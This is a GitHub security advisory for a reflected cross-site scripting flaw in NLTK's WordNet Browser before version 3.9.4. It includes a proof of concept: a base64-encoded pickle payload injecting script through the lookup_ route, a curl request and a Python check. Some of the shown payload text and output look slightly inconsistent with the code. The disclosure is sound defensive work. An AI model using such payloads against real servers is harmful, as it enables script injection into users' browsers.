GitHub Advisoryadvisory · PyPI
GHSA-gfwx-w7gr-fvh7 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk
MEDIUM
Official page ↗
- Aliases
- CVE-2026-33230
- Ecosystem
- PyPI
- Packages
- nltk
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-03-18
Affected packages
• PyPI nltk: < 3.9.4 → fixed in 3.9.4
Description
Summary
`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.
Details
The vulnerable flow is in `nltk/app/wordnet_app.py`:
• `nltk/app/wordnet_app.py:144`
• Requests starting with `lookup_` are handled as HTML responses:
• `page, word = page_from_href(sp)`
• `nltk/app/wordnet_app.py:755`
• `page_from_href()` calls `page_from_reference(Reference.decode(href))`
• `nltk/app/wordnet_app.py:769`
• `word = href.word`
• `nltk/app/wordnet_app.py:796`
• If no results are found, `word` is inserted directly into the HTML body:
• `body = "The word or words '%s' were not found in the dictionary." % word`
This is inconsistent with the `search` route, which does escape user input:
• `nltk/app/wordnet_app.py:136`
• `word = html.escape(...)`
As a result, a malicious `lookup_...` payload can inject script into the response page.
The issue is exploitable because:
• `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.
• The decoded `word` is reflected into HTML without `html.escape()`.
• The server is started with `HTTPServer(("", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.
PoC
1. Start the WordNet Browser in an isolated Docker environment:
```bash
docker run -d --name nltk-wordnet-web -p 8002:8002 \
nltk-sandbox \
python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)"
```
2. Use the following crafted payload, which decodes to:
```python
("alert(1)", {})
```
Encoded payload:
```text
gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=
```
3. Request the vulnerable route:
```bash
curl -s "http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4="
```
4. Observed result:
```text
The word or words 'alert(1)' were not found in the dictionary.
```
I also validated the issue directly at function level in Docker:
```python
import base64
import pickle
from nltk.app.wordnet_app import page_from_href
payload = base64.urlsafe_b64encode(
pickle.dumps(("alert(1)", {}), -1)
).decode()
page, word = page_from_href(payload)
print(word)
print("alert(1)" in page)
```
Observed output:
```text
WORD= alert(1)
HAS_SCRIPT= True
```
Impact
This is a reflected XSS issue in the NLTK WordNet Browser web UI.
An attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:
• run arbitrary script in the browser tab
• manipulate the page content shown to the user
• issue same-origin requests to other WordNet Browser routes
• potentially trigger available UI actions in that local app context
This primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled links.
Related
Alias · CVE (1)
- CVE-2026-33230 NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in… vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/nltk/nltk/security/advisories/GHSA-gfwx-w7gr-fvh7 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-33230 advisory
- https://github.com/nltk/nltk/commit/1c3f799607eeb088cab2491dcf806ae83c29ad8f web
- https://github.com/nltk/nltk/commit/40d0bc1d484a3458d6a63ecb5ba4957ab16ba14e web
- https://github.com/nltk/nltk package